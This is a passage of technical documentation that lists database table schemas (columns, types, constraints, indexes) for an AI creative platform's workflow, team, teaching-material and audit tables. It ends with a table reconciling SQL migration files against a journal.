# convIdx: index("orb_workflow_exec_conv_idx").on(table.conversationId)
```

B.66 orb\_workflow\_step\_executions (var: orbWorkflowStepExecutions)

欄位 15 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名         | DB欄名 | 型別     | 長度 | 約束          | enum 值 |
|-------------|------|--------|----|-------------|--------|
| id          | (同)  | bigint |    | PK AUTO_INC |        |
| executionId | (同)  | bigint |    | NOT NULL    |        |
| stepIndex   | (同)  | int    |    | NOT NULL    |        |

| 欄位名             | DB欄名 | 型別        | 長度  | 約束                       | enum 值                                   |
|-----------------|------|-----------|-----|--------------------------|------------------------------------------|
| stepId          | (同)  | varchar   | 128 | NOT NULL                 |                                          |
| spiritId        | (同)  | varchar   | 64  | NOT NULL                 |                                          |
| toolName        | (同)  | varchar   | 128 | NOT NULL                 |                                          |
| status          | (同)  | mysqlEnum |     | NOT NULL DEFAULT pending | pending,running,completed,failed,skipped |
| inputs          | (同)  | json      |     |                          |                                          |
| outputs         | (同)  | json      |     |                          |                                          |
| error           | (同)  | text      |     |                          |                                          |
| retryCount      | (同)  | int       |     | NOT NULL DEFAULT 0       |                                          |
| startedAt       | (同)  | timestamp |     |                          |                                          |
| completedAt     | (同)  | timestamp |     |                          |                                          |
| durationSeconds | (同)  | int       |     |                          |                                          |
| createdAt       | (同)  | timestamp |     | NOT NULL DEFAULT now()   |                                          |

# uniqueExecutionStep: uniqueIndex("orb\_workflow\_step\_uk").on( table.executionId, table.stepIndex )  
# execIdx: index("orb\_workflow\_step\_exec\_idx").on(table.executionId)  
# statusIdx: index("orb\_workflow\_step\_status\_idx").on(table.status)  
# spiritIdx: index("orb\_workflow\_step\_spirit\_idx").on(table.spiritId)

B.67 orb\_workflow\_template\_ratings (var: orbWorkflowTemplateRatings)

欄位 9 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名                   | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------------------|------|-----------|----|----------------------------------------|--------|
| id                    | (同)  | bigint    |    | PK AUTO_INC                            |        |
| templateId            | (同)  | int       |    | NOT NULL                               |        |
| userId                | (同)  | int       |    | NOT NULL                               |        |
| rating                | (同)  | int       |    | NOT NULL                               |        |
| wasHelpful            | (同)  | boolean   |    |                                        |        |
| completedSuccessfully | (同)  | boolean   |    |                                        |        |
| metadata              | (同)  | json      |    |                                        |        |
| createdAt             | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt             | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

# uniqueUserRating: uniqueIndex("orb\_tmpl\_rating\_uk").on( table.templateId, table.userId )  
# templateIdx: index("orb\_tmpl\_rating\_template\_idx").on( table.templateId, table.rating )  
# userIdx: index("orb\_tmpl\_rating\_user\_idx").on(table.userId)  
# createdIdx: index("orb\_tmpl\_rating\_created\_idx").on(table.createdAt)

B.68 orb\_spirit\_collaboration\_metrics (var: orbSpiritCollaborationMetrics)

欄位 11 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名                   | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------------------|------|-----------|----|----------------------------------------|--------|
| id                    | (同)  | bigint    |    | PK AUTO_INC                            |        |
| date                  | (同)  | date      |    | NOT NULL                               |        |
| fromSpiritId          | (同)  | varchar   | 64 | NOT NULL                               |        |
| toSpiritId            | (同)  | varchar   | 64 | NOT NULL                               |        |
| handoffCount          | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| avgHandoffTime        | (同)  | decimal   |    |                                        |        |
| successfulHandoffs    | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| failedHandoffs        | (同)  | int       |    | NOT NULL DEFAULT 0                     |        |
| userSatisfactionScore | (同)  | decimal   |    |                                        |        |
| createdAt             | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt             | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

# uniqueCollabMetric: uniqueIndex("orb\_collab\_metrics\_uk").on( table.date, table.fromSpiritId, table.toSpiritId )  
# dateIdx: index("orb\_collab\_metrics\_date\_idx").on(table.date)  
# fromIdx: index("orb\_collab\_metrics\_from\_idx").on(table.fromSpiritId)  
# toIdx: index("orb\_collab\_metrics\_to\_idx").on(table.toSpiritId)

B.69 orb\_system\_health\_metrics (var: orbSystemHealthMetrics)

欄位 9 · 索引 4 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名        | DB欄名 | 型別        | 長度 | 約束                     | enum 值                                                                                                   |
|------------|------|-----------|----|------------------------|----------------------------------------------------------------------------------------------------------|
| id         | (同)  | bigint    |    | PK AUTO_INC            |                                                                                                          |
| timestamp  | (同)  | timestamp |    | NOT NULL DEFAULT now() |                                                                                                          |
| metricType | (同)  | mysqlEnum |    | NOT NULL               | response_time,error_rate,tool_success_rate,user_satisfaction,memory_usage,api_latency,clarification_rate |
| spiritId   | (同)  | varchar   | 64 |                        |                                                                                                          |
| value      | (同)  | decimal   |    | NOT NULL               |                                                                                                          |
| unit       | (同)  | varchar   | 32 | NOT NULL               |                                                                                                          |
| threshold  | (同)  | decimal   |    |                        |                                                                                                          |
| isHealthy  | (同)  | boolean   |    | NOT NULL DEFAULT true  |                                                                                                          |
| metadata   | (同)  | json      |    |                        |                                                                                                          |

```
# timestampIdx: index("orb_health_timestamp_idx").on(table.timestamp)
# typeIdx: index("orb_health_type_idx").on(table.metricType, table.timestamp)
# spiritIdx: index("orb_health_spirit_idx").on(table.spiritId, table.timestamp)
# unhealthyIdx: index("orb_health_unhealthy_idx").on( table.isHealthy, table.timestamp )
```

B.70 orb\_cost\_attribution (var: orbCostAttribution)

欄位 13 · 索引 5 · 文件/卡提及 6 次 · 程式碼(var)引用檔 1

| 欄位名              | DB欄名 | 型別        | 長度  | 約束                                     | enum 值 |
|------------------|------|-----------|-----|----------------------------------------|--------|
| id               | (同)  | bigint    |     | PK AUTO_INC                            |        |
| date             | (同)  | date      |     | NOT NULL                               |        |
| userId           | (同)  | int       |     | NOT NULL                               |        |
| spiritId         | (同)  | varchar   | 64  | NOT NULL                               |        |
| toolName         | (同)  | varchar   | 128 | NOT NULL                               |        |
| usageCount       | (同)  | int       |     | NOT NULL DEFAULT 0                     |        |
| totalTokens      | (同)  | bigint    |     |                                        |        |
| totalApiCalls    | (同)  | int       |     |                                        |        |
| estimatedCostUsd | (同)  | decimal   |     |                                        |        |
| avgDuration      | (同)  | decimal   |     |                                        |        |
| metadata         | (同)  | json      |     |                                        |        |
| createdAt        | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |        |
| updatedAt        | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# uniqueCostAttr: uniqueIndex("orb_cost_attr_uk").on( table.date, table.userId, table.spiritId, table.toolName )
# dateIdx: index("orb_cost_date_idx").on(table.date)
# userIdx: index("orb_cost_user_idx").on(table.userId, table.date)
# spiritIdx: index("orb_cost_spirit_idx").on(table.spiritId, table.date)
# amountIdx: index("orb_cost_amount_idx").on(table.estimatedCostUsd)
```

B.71 orb\_system\_alerts (var: orbSystemAlerts)

欄位 15 · 索引 4 · 文件/卡提及 7 次 · 程式碼(var)引用檔 1

| 欄位名         | DB欄名 | 型別        | 長度  | 約束          | enum 值                                                                                            |
|-------------|------|-----------|-----|-------------|---------------------------------------------------------------------------------------------------|
| id          | (同)  | bigint    |     | PK AUTO_INC |                                                                                                   |
| alertType   | (同)  | mysqlEnum |     | NOT NULL    | health_critical,health_warning,cost_spike,performance_degradation,error_rate_high,system_overload |
| severity    | (同)  | mysqlEnum |     | NOT NULL    | low,medium,high,critical                                                                          |
| title       | (同)  | varchar   | 255 | NOT NULL    |                                                                                                   |
| message     | (同)  | text      |     | NOT NULL    |                                                                                                   |
| spiritId    | (同)  | varchar   | 64  |             |                                                                                                   |
| metricType  | (同)  | varchar   | 64  |             |                                                                                                   |
| metricValue | (同)  | decimal   |     |             |                                                                                                   |
| threshold   | (同)  | decimal   |     |             |                                                                                                   |

| 欄位名             | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------------|------|-----------|----|------------------------|--------|
| metadata        | (同)  | json      |    |                        |        |
| isResolved      | (同)  | boolean   |    | NOT NULL DEFAULT false |        |
| resolvedAt      | (同)  | timestamp |    |                        |        |
| resolvedBy      | (同)  | int       |    |                        |        |
| resolutionNotes | (同)  | text      |    |                        |        |
| createdAt       | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

```
# typeIdx: index("orb_alert_type_idx").on( table.alertType, table.severity, table.createdAt )
# resolvedIdx: index("orb_alert_resolved_idx").on( table.isResolved, table.createdAt )
# spiritIdx: index("orb_alert_spirit_idx").on(table.spiritId)
# metricIdx: index("orb_alert_metric_idx").on(table.metricType)
```

B.72 worldbuilding\_frameworks (var: worldbuildingFrameworks)

欄位 8 · 索引 2 · 文件/卡提及 7 次 · 程式碼(var)引用檔 2

| 欄位名         | DB欄名 | 型別        | 長度  | 約束                                     | enum 值 |
|-------------|------|-----------|-----|----------------------------------------|--------|
| id          | (同)  | int       |     | PK AUTO_INC                            |        |
| userId      | (同)  | int       |     | NOT NULL                               |        |
| name        | (同)  | varchar   | 255 | NOT NULL                               |        |
| description | (同)  | text      |     |                                        |        |
| tags        | (同)  | json      |     |                                        |        |
| isActive    | (同)  | boolean   |     | NOT NULL DEFAULT true                  |        |
| createdAt   | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |        |
| updatedAt   | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("wf_userId_idx").on(table.userId)
# userIdCreatedAtIdx: index("wf_userId_createdAt_idx").on( table.userId, table.createdAt )
```

B.73 world\_storyboards (var: worldStoryboards)

欄位 12 · 索引 3 · 文件/卡提及 10 次 · 程式碼(var)引用檔 1

| 欄位名              | DB欄名 | 型別        | 長度   | 約束                                     | enum 值 |
|------------------|------|-----------|------|----------------------------------------|--------|
| id               | (同)  | int       |      | PK AUTO_INC                            |        |
| userId           | (同)  | int       |      | NOT NULL                               |        |
| name             | (同)  | varchar   | 255  | NOT NULL                               |        |
| totalDurationSec | (同)  | int       |      | NOT NULL                               |        |
| fps              | (同)  | int       |      | NOT NULL DEFAULT 24                    |        |
| aspectRatio      | (同)  | varchar   | 16   | NOT NULL DEFAULT 16:9                  |        |
| narration        | (同)  | text      |      |                                        |        |
| productionStatus | (同)  | varchar   | 32   | NOT NULL DEFAULT planning              |        |
| finalVideoUrl    | (同)  | varchar   | 2048 |                                        |        |
| estimatedCostUsd | (同)  | varchar   | 32   |                                        |        |
| createdAt        | (同)  | timestamp |      | NOT NULL DEFAULT now()                 |        |
| updatedAt        | (同)  | timestamp |      | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("ws_userId_idx").on(table.userId)
# worldIdIdx: index("ws_worldId_idx").on(table.worldId)
# userIdCreatedAtIdx: index("ws_userId_createdAt_idx").on( table.userId, table.createdAt )
```

B.74 creative\_projects (var: creativeProjects)

欄位 9 · 索引 4 · 文件/卡提及 27 次 · 程式碼(var)引用檔 2

| 欄位名           | DB欄名 | 型別        | 長度   | 約束                       | enum 值                             |
|---------------|------|-----------|------|--------------------------|------------------------------------|
| id            | (同)  | int       |      | PK AUTO_INC              |                                    |
| userId        | (同)  | int       |      | NOT NULL                 |                                    |
| title         | (同)  | varchar   | 255  | NOT NULL                 |                                    |
| description   | (同)  | text      |      |                          |                                    |
| status        | (同)  | mysqlEnum |      | NOT NULL DEFAULT concept | concept,production,review,complete |
| coverImageUrl | (同)  | varchar   | 2048 |                          |                                    |

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------|------|-----------|----|----------------------------------------|--------|
| tags      | (同)  | json      |    |                                        |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# userIdIdx: index("cp_userId_idx").on(table.userId)
# userIdUpdatedAtIdx: index("cp_userId_updatedAt_idx").on( table.userId, table.updatedAt )
# worldFrameworkIdIdx: index("cp_worldFrameworkId_idx").on( table.worldFrameworkId )
# worldStoryboardIdIdx: index("cp_worldStoryboardId_idx").on( table.worldStoryboardId )
```

## B.75 orchestration\_runs (var: orchestrationRuns)

欄位 15 · 索引 4 · 文件/卡提及 12 次 · 程式碼(var)引用檔 1

| 欄位名                  | DB欄名 | 型別        | 長度 | 約束                                     | enum 值                                                                  |
|----------------------|------|-----------|----|----------------------------------------|-------------------------------------------------------------------------|
| id                   | (同)  | int       |    | PK AUTO_INC                            |                                                                         |
| userId               | (同)  | int       |    | NOT NULL                               |                                                                         |
| teamId               | (同)  | int       |    |                                        |                                                                         |
| mode                 | (同)  | mysqlEnum |    | NOT NULL                               | create,director,video,assets,database                                   |
| intent               | (同)  | text      |    | NOT NULL                               |                                                                         |
| status               | (同)  | mysqlEnum |    | NOT NULL DEFAULT pending               | pending,planned,waiting_confirmation,running,completed,failed,cancelled |
| planJson             | (同)  | json      |    |                                        |                                                                         |
| contextPacketIdsJson | (同)  | json      |    |                                        |                                                                         |
| toolCallsJson        | (同)  | json      |    |                                        |                                                                         |
| citationsJson        | (同)  | json      |    |                                        |                                                                         |
| searchResultsJson    | (同)  | json      |    |                                        |                                                                         |
| actualCostUsd        | (同)  | decimal   |    |                                        |                                                                         |
| errorMessage         | (同)  | text      |    |                                        |                                                                         |
| createdAt            | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                                                                         |
| updatedAt            | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                                                                         |

```
# userIdIdx: index("orun_userId_idx").on(table.userId)
# projectIdIdx: index("orun_projectId_idx").on(table.projectId)
# projectCreatedAtIdx: index("orun_projectId_createdAt_idx").on( table.projectId, table.createdAt )
# userCreatedAtIdx: index("orun_userId_createdAt_idx").on( table.userId, table.createdAt )
```

## B.76 context\_packets (var: contextPackets)

欄位 9 · 索引 5 · 文件/卡提及 6 次 · 程式碼(var)引用檔 15

| 欄位名             | DB欄名 | 型別         | 長度 | 約束                       | enum 值            |
|-----------------|------|------------|----|--------------------------|-------------------|
| id              | (同)  | int        |    | PK AUTO_INC              |                   |
| projectId       | (同)  | int        |    | NOT NULL                 |                   |
| teamId          | (同)  | int        |    |                          |                   |
| userId          | (同)  | int        |    | NOT NULL                 |                   |
| scope           | (同)  | mysqlEnum  |    | NOT NULL DEFAULT project | project,team,user |
| sourceRefsJson  | (同)  | json       |    |                          |                   |
| summaryMarkdown | (同)  | mediumtext |    |                          |                   |
| tokenEstimate   | (同)  | int        |    |                          |                   |
| createdAt       | (同)  | timestamp  |    | NOT NULL DEFAULT now()   |                   |

```
# projectIdIdx: index("cp_projectId_idx").on(table.projectId)
# projectCreatedAtIdx: index("cp_projectId_createdAt_idx").on( table.projectId, table.createdAt )
# userIdIdx: index("cp_userId_idx").on(table.userId)
# teamIdIdx: index("cp_teamId_idx").on(table.teamId)
# expiresAtIdx: index("cp_expiresAt_idx").on(table.expiresAt)
```

B.77 project\_data\_access\_rules (var: projectDataAccessRules)

欄位 6 · 索引 4 · 文件/卡提及 6 次 · 程式碼(var)引用檔 1

| 欄位名         | DB欄名 | 型別        | 長度 | 約束                                     | enum 值                                        |
|-------------|------|-----------|----|----------------------------------------|-----------------------------------------------|
| id          | (同)  | int       |    | PK AUTO_INC                            |                                               |
| teamId      | (同)  | int       |    | NOT NULL                               |                                               |
| accessLevel | (同)  | mysqlEnum |    | NOT NULL DEFAULT summary_only          | none,summary_only,chunk_access,full_reference |
| createdBy   | (同)  | int       |    | NOT NULL                               |                                               |
| createdAt   | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                                               |
| updatedAt   | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                                               |

```
# teamIdIdx: index("pdar_teamId_idx").on(table.teamId)
# projectIdIdx: index("pdar_projectId_idx").on(table.projectId)
# materialIdIdx: index("pdar_materialId_idx").on(table.materialId)
# teamProjectIdx: index("pdar_teamId_projectId_idx").on( table.teamId, table.projectId )
```

B.78 data\_source\_connections (var: dataSourceConnections)

欄位 10 · 索引 4 · 文件/卡提及 2 次 · 程式碼(var)引用檔 1

| 欄位名               | DB欄名 | 型別        | 長度 | 約束                                     | enum 值                        |
|-------------------|------|-----------|----|----------------------------------------|-------------------------------|
| id                | (同)  | int       |    | PK AUTO_INC                            |                               |
| ownerUserId       | (同)  | int       |    | NOT NULL                               |                               |
| teamId            | (同)  | int       |    |                                        |                               |
| projectId         | (同)  | int       |    |                                        |                               |
| kind              | (同)  | mysqlEnum |    | NOT NULL                               | cloud,notes,mcp,external_api  |
| authType          | (同)  | mysqlEnum |    | NOT NULL DEFAULT api_key               | oauth,api_key,none            |
| status            | (同)  | mysqlEnum |    | NOT NULL DEFAULT pending               | pending,active,disabled,error |
| lastHealthCheckAt | (同)  | timestamp |    |                                        |                               |
| createdAt         | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |                               |
| updatedAt         | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |                               |

```
# ownerUserIdIdx: index("dsc_ownerUserId_idx").on(table.ownerUserId)
# teamIdIdx: index("dsc_teamId_idx").on(table.teamId)
# projectIdIdx: index("dsc_projectId_idx").on(table.projectId)
# ownerProviderIdx: index("dsc_ownerUserId_provider_idx").on( table.ownerUserId, table.provider )
```

B.79 model\_wishes (var: modelWishes)

欄位 11 · 索引 3 · 文件/卡提及 2 次 · 程式碼(var)引用檔 6

| 欄位名          | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                                                     |
|--------------|------|-----------|-----|----------------------------------------|------------------------------------------------------------|
| id           | (同)  | int       |     | PK AUTO_INC                            |                                                            |
| userId       | (同)  | int       |     | NOT NULL                               |                                                            |
| modelName    | (同)  | varchar   | 191 | NOT NULL                               |                                                            |
| provider     | (同)  | varchar   | 128 |                                        |                                                            |
| modality     | (同)  | mysqlEnum |     | NOT NULL DEFAULT other                 | text,image,video,audio,voice,3d,multimodal,embedding,other |
| reason       | (同)  | text      |     |                                        |                                                            |
| referenceUrl | (同)  | text      |     |                                        |                                                            |
| status       | (同)  | mysqlEnum |     | NOT NULL DEFAULT pending               | pending,under_review,planned,added,rejected                |
| adminNote    | (同)  | text      |     |                                        |                                                            |
| createdAt    | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                                            |
| updatedAt    | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                                            |

```
# statusIdx: index("mw_status_idx").on(table.status)
# voteCountIdx: index("mw_vote_count_idx").on(table.voteCount)
# userIdIdx: index("mw_user_idx").on(table.userId)
```

B.80 model\_wish\_votes (var: modelWishVotes)

欄位 4 · 索引 2 · 文件/卡提及 0 次 · 程式碼(var)引用檔 1

| 欄位名       | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------|------|-----------|----|------------------------|--------|
| id        | (同)  | int       |    | PK AUTO_INC            |        |
| wishId    | (同)  | int       |    | NOT NULL               |        |
| userId    | (同)  | int       |    | NOT NULL               |        |
| createdAt | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |

```
# wishUserUk: uniqueIndex("mw_votes_wish_user_uk").on( table.wishId, table.userId )
# userIdx: index("mw_votes_user_idx").on(table.userId)
```

B.81 teaching\_materials (var: teachingMaterials)

欄位 15 · 索引 9 · 文件/卡提及 1 次 · 程式碼(var)引用檔 1

| 欄位名                 | DB欄名 | 型別        | 長度  | 約束                                     | enum 值                                             |
|---------------------|------|-----------|-----|----------------------------------------|----------------------------------------------------|
| id                  | (同)  | int       |     | PK AUTO_INC                            |                                                    |
| userId              | (同)  | int       |     | NOT NULL                               |                                                    |
| title               | (同)  | varchar   | 255 | NOT NULL                               |                                                    |
| description         | (同)  | text      |     |                                        |                                                    |
| fileKey             | (同)  | text      |     |                                        |                                                    |
| fileName            | (同)  | varchar   | 255 |                                        |                                                    |
| mimeType            | (同)  | varchar   | 128 |                                        |                                                    |
| fileSizeBytes       | (同)  | int       |     |                                        |                                                    |
| thumbnailUrl        | (同)  | text      |     |                                        |                                                    |
| transcriptionStatus | (同)  | mysqlEnum |     | NOT NULL DEFAULT not_applicable        | not_applicable,pending,processing,completed,failed |
| tags                | (同)  | json      |     |                                        |                                                    |
| isFeatured          | (同)  | boolean   |     | NOT NULL DEFAULT false                 |                                                    |
| sortOrder           | (同)  | int       |     | NOT NULL DEFAULT 0                     |                                                    |
| createdAt           | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |                                                    |
| updatedAt           | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |                                                    |

```
# userIdIdx: index("tm_userId_idx").on(table.userId)
# userIdMediaTypeId: index("tm_userId_mediaType_idx").on( table.userId, table.mediaType )
# userIdSourceTypeId: index("tm_userId_sourceType_idx").on( table.userId, table.sourceType )
# userIdLineageIdx: index("tm_userId_lineage_idx").on( table.userId, table.lineage )
# userIdTopicIdx: index("tm_userId_topic_idx").on(table.userId, table.topic)
# userIdCreatedAtIdx: index("tm_userId_createdAt_idx").on( table.userId, table.createdAt )
# teamIdVisibilityIdx: index("tm_teamId_visibility_idx").on( table.teamId, table.visibility )
# visibilityIdx: index("tm_visibility_idx").on(table.visibility)
# teamIdCreatedAtIdx: index("tm_teamId_createdAt_idx").on( table.teamId, table.createdAt )
```

B.82 teams (var: teams)

欄位 5 · 索引 1 · 文件/卡提及 16 次 · 程式碼(var)引用檔 20

| 欄位名         | DB欄名 | 型別        | 長度  | 約束                                     | enum 值 |
|-------------|------|-----------|-----|----------------------------------------|--------|
| id          | (同)  | int       |     | PK AUTO_INC                            |        |
| name        | (同)  | varchar   | 128 | NOT NULL                               |        |
| description | (同)  | text      |     |                                        |        |
| createdAt   | (同)  | timestamp |     | NOT NULL DEFAULT now()                 |        |
| updatedAt   | (同)  | timestamp |     | NOT NULL DEFAULT now() ON UPDATE now() |        |

```
# ownerIdIdx: index("teams_ownerId_idx").on(table.ownerId)
```

B.83 team\_memberships (var: teamMemberships)

欄位 5 · 索引 3 · 文件/卡提及 0 次 · 程式碼(var)引用檔 2

| 欄位名       | DB欄名 | 型別  | 長度 | 約束          | enum 值 |
|-----------|------|-----|----|-------------|--------|
| id        | (同)  | int |    | PK AUTO_INC |        |
| teamId    | (同)  | int |    | NOT NULL    |        |
| userId    | (同)  | int |    | NOT NULL    |        |
| invitedBy | (同)  | int |    |             |        |

| 欄位名                                                                               | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------------------------------------------------------------------------------|------|-----------|----|------------------------|--------|
| joinedAt                                                                          | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |
| # teamUserUk: uniqueIndex("tm_teamId_userId_uk").on( table.teamId, table.userId ) |      |           |    |                        |        |
| # userIdIdx: index("tm_userId_idx").on(table.userId)                              |      |           |    |                        |        |
| # teamIdIdx: index("tm_teamId_idx").on(table.teamId)                              |      |           |    |                        |        |

B.84 teaching\_material\_access\_log (var: teachingMaterialAccessLog)

欄位 5 · 索引 3 · 文件/卡提及 1 次 · 程式碼(var)引用檔 1

| 欄位名                                                                                                      | DB欄名 | 型別        | 長度 | 約束                     | enum 值                                          |
|----------------------------------------------------------------------------------------------------------|------|-----------|----|------------------------|-------------------------------------------------|
| id                                                                                                       | (同)  | bigint    |    | PK AUTO_INC            |                                                 |
| materialId                                                                                               | (同)  | int       |    | NOT NULL               |                                                 |
| userId                                                                                                   | (同)  | int       |    | NOT NULL               |                                                 |
| action                                                                                                   | (同)  | mysqlEnum |    | NOT NULL               | view,download,search_hit,reingest,update,delete |
| createdAt                                                                                                | (同)  | timestamp |    | NOT NULL DEFAULT now() |                                                 |
| # materialIdCreatedAtIdx: index("tmal_materialId_createdAt_idx").on( table.materialId, table.createdAt ) |      |           |    |                        |                                                 |
| # userIdCreatedAtIdx: index("tmal_userId_createdAt_idx").on( table.userId, table.createdAt )             |      |           |    |                        |                                                 |
| # actionCreatedAtIdx: index("tmal_action_createdAt_idx").on( table.action, table.createdAt )             |      |           |    |                        |                                                 |

B.85 real\_earth\_entries (var: realEarthEntries)

欄位 3 · 索引 6 · 文件/卡提及 0 次 · 程式碼(var)引用檔 1

| 欄位名                                                                                        | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|--------------------------------------------------------------------------------------------|------|-----------|----|----------------------------------------|--------|
| id                                                                                         | (同)  | int       |    | PK AUTO_INC                            |        |
| createdAt                                                                                  | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt                                                                                  | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |
| # categoryIdx: index("ree_category_idx").on(table.category)                                |      |           |    |                                        |        |
| # taiwanFocusedIdx: index("ree_taiwanFocused_idx").on(table.isTaiwanFocused)               |      |           |    |                                        |        |
| # createdByIdx: index("ree_createdBy_idx").on(table.createdBy)                             |      |           |    |                                        |        |
| # historicalPeriodIdx: index("ree_historicalPeriod_idx").on(table.historicalPeriod)        |      |           |    |                                        |        |
| # createdAtIdx: index("ree_createdAt_idx").on(table.createdAt)                             |      |           |    |                                        |        |
| # titleSummaryFulltext: index("ree_title_summary_fulltext").on(table.title, table.summary) |      |           |    |                                        |        |

B.86 global\_audit\_log (var: globalAuditLog)

欄位 2 · 索引 4 · 文件/卡提及 3 次 · 程式碼(var)引用檔 1

| 欄位名                                                                                                             | DB欄名 | 型別        | 長度 | 約束                     | enum 值 |
|-----------------------------------------------------------------------------------------------------------------|------|-----------|----|------------------------|--------|
| id                                                                                                              | (同)  | bigint    |    | PK AUTO_INC            |        |
| createdAt                                                                                                       | (同)  | timestamp |    | NOT NULL DEFAULT now() |        |
| # actorCreatedAtIdx: index("gal_actor_createdAt_idx").on( table.actorUserId, table.createdAt )                  |      |           |    |                        |        |
| # actionCreatedAtIdx: index("gal_action_createdAt_idx").on( table.action, table.createdAt )                     |      |           |    |                        |        |
| # targetCreatedAtIdx: index("gal_target_createdAt_idx").on( table.targetType, table.targetId, table.createdAt ) |      |           |    |                        |        |
| # createdAtIdx: index("gal_createdAt_idx").on(table.createdAt)                                                  |      |           |    |                        |        |

B.87 resource\_shares (var: resourceShares)

欄位 3 · 索引 3 · 文件/卡提及 5 次 · 程式碼(var)引用檔 1

| 欄位名                                                                                                                                           | DB欄名 | 型別        | 長度 | 約束                                     | enum 值 |
|-----------------------------------------------------------------------------------------------------------------------------------------------|------|-----------|----|----------------------------------------|--------|
| id                                                                                                                                            | (同)  | int       |    | PK AUTO_INC                            |        |
| createdAt                                                                                                                                     | (同)  | timestamp |    | NOT NULL DEFAULT now()                 |        |
| updatedAt                                                                                                                                     | (同)  | timestamp |    | NOT NULL DEFAULT now() ON UPDATE now() |        |
| # resourceTargetUk: uniqueIndex("rs_resource_target_uk").on( table.resourceType, table.resourceId, table.sharedWithType, table.sharedWithId ) |      |           |    |                                        |        |
| # resourceIdIdx: index("rs_resource_idx").on( table.resourceType, table.resourceId )                                                          |      |           |    |                                        |        |
| # targetIdx: index("rs_target_idx").on( table.sharedWithType, table.sharedWithId )                                                            |      |           |    |                                        |        |

# Part C — Migration 逐支對帳

每支 migration：檔名 / 是否登記於 \_journal.json (未登記 = 孤兒，永不會被 boot 套用) / statement-breakpoint 句數 / DDL 語句摘要。三鐵則 (禁 CREATE INDEX IF NOT EXISTS / 每 chunk 一句 / information\_schema 守門) 見 SSOT。

| 檔名                                            | journal | 句斷 | DDL 摘要 (去重)                                                                                                              |
|-----------------------------------------------|---------|----|--------------------------------------------------------------------------------------------------------------------------|
| 0000_giant_reptil.sql                         | [v] 已登記 | 0  | CREATE TABLE users                                                                                                       |
| 0001_panoramic_night_thrasher.sql             | [v] 已登記 | 6  | CREATE TABLE api_usage_logs; CREATE TABLE background_jobs; CREATE TABLE digital_asset_library; CREATE TABLE fine_tuned_m |
| 0002_flat_dorian_gray.sql                     | [v] 已登記 | 13 | CREATE TABLE ai_director_preferences; CREATE TABLE consistency_vault; CREATE TABLE generation_history; CREATE TABLE subs |
| 0003_gorgeous_stone_men.sql                   | [v] 已登記 | 1  | CREATE TABLE block_combos; CREATE TABLE custom_blocks                                                                    |
| 0004_past_pandemic.sql                        | [v] 已登記 | 0  | CREATE TABLE system_settings                                                                                             |
| 0005_nasty_anita_blake.sql                    | [v] 已登記 | 1  | CREATE TABLE featured_showcase; CREATE TABLE news_articles                                                               |
| 0006_remarkable_starfox.sql                   | [v] 已登記 | 2  | CREATE TABLE custom_blocks_combo; CREATE TABLE user_ai_brain; CREATE TABLE user_model_switch_logs                        |
| 0007_tidy_thunderbird.sql                     | [v] 已登記 | 51 | CREATE TABLE external_service_subscriptions; CREATE TABLE prompt_library; CREATE TABLE r2_storage_snapshots; CREATE TABL |
| 0008_admin_api_usage.sql                      | [v] 已登記 | 4  | CREATE TABLE ai_usage_events; CREATE TABLE provider_snapshots; CREATE TABLE cost_aggregations; CREATE TABLE rate_limit_r |
| 0008_numerous_mother_askani.sql               | [v] 已登記 | 2  | CREATE TABLE orb_feedback_events; CREATE INDEX ofe_userId_createdAt_idx; CREATE INDEX ofe_userId_actionType_idx          |
| 0009_prompt_library_generation_mode.sql       | [v] 已登記 | 0  | ALTER TABLE prompt_library                                                                                               |
| 0010_add_generationMode_index.sql             | [v] 已登記 | 0  | CREATE INDEX pl_generationMode_idx                                                                                       |
| 0011_user_auto_credit_policy.sql              | [v] 已登記 | 1  | ALTER TABLE users; CREATE INDEX users_auto_credit_due_idx                                                                |
| 0012_local_auth_password_hash.sql             | [v] 已登記 | 0  | ALTER TABLE users                                                                                                        |
